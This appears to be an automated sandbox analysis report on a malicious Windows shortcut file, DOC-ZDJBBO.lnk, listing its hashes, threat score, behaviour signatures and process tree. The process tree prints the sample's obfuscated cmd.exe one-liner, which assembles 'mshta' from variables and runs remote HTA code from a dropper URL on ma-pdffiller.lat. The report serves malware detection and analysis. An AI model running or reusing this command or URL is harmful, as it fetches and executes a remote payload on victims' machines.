Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:33
Static task
static1
Behavioral task
behavioral1
Sample
DOC-ZDJBBO.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-ZDJBBO.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-ZDJBBO.lnk
- Size 1KB
- Sample260804-kf28cs1tdv
- SHA256 c58d301f8a738e22564476e223ae42d3ceeafd5b1de2d089cc9fc48bc327161b
- MD5 879b4504862cdbd3221e2291bdd1a200
- SHA1 f4fc35aba25982c5233989579506a988df00a27c
- SHA512 dcbd3b638597c1eb2238fc8ddf05d1205fc68252a1e4f2bf0d15ce7bef32e8357e5867e4087c439f194b46280a51d90f3fc26db2f6a5164786d56c09b76a05bc
- TLSH T1AA317B507FED0624F3F78FB798BB572485BBB9558D20C62E0141454C5032A15E13AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 6000 cmd.exe 468 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 6000 wrote to memory of 468 6000 cmd.exe 90 PID 468 wrote to memory of 2152 468 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-ZDJBBO.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6000 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set Ml=msh&&set By=ta&&start "" !Ml!!By! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:468 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:2152
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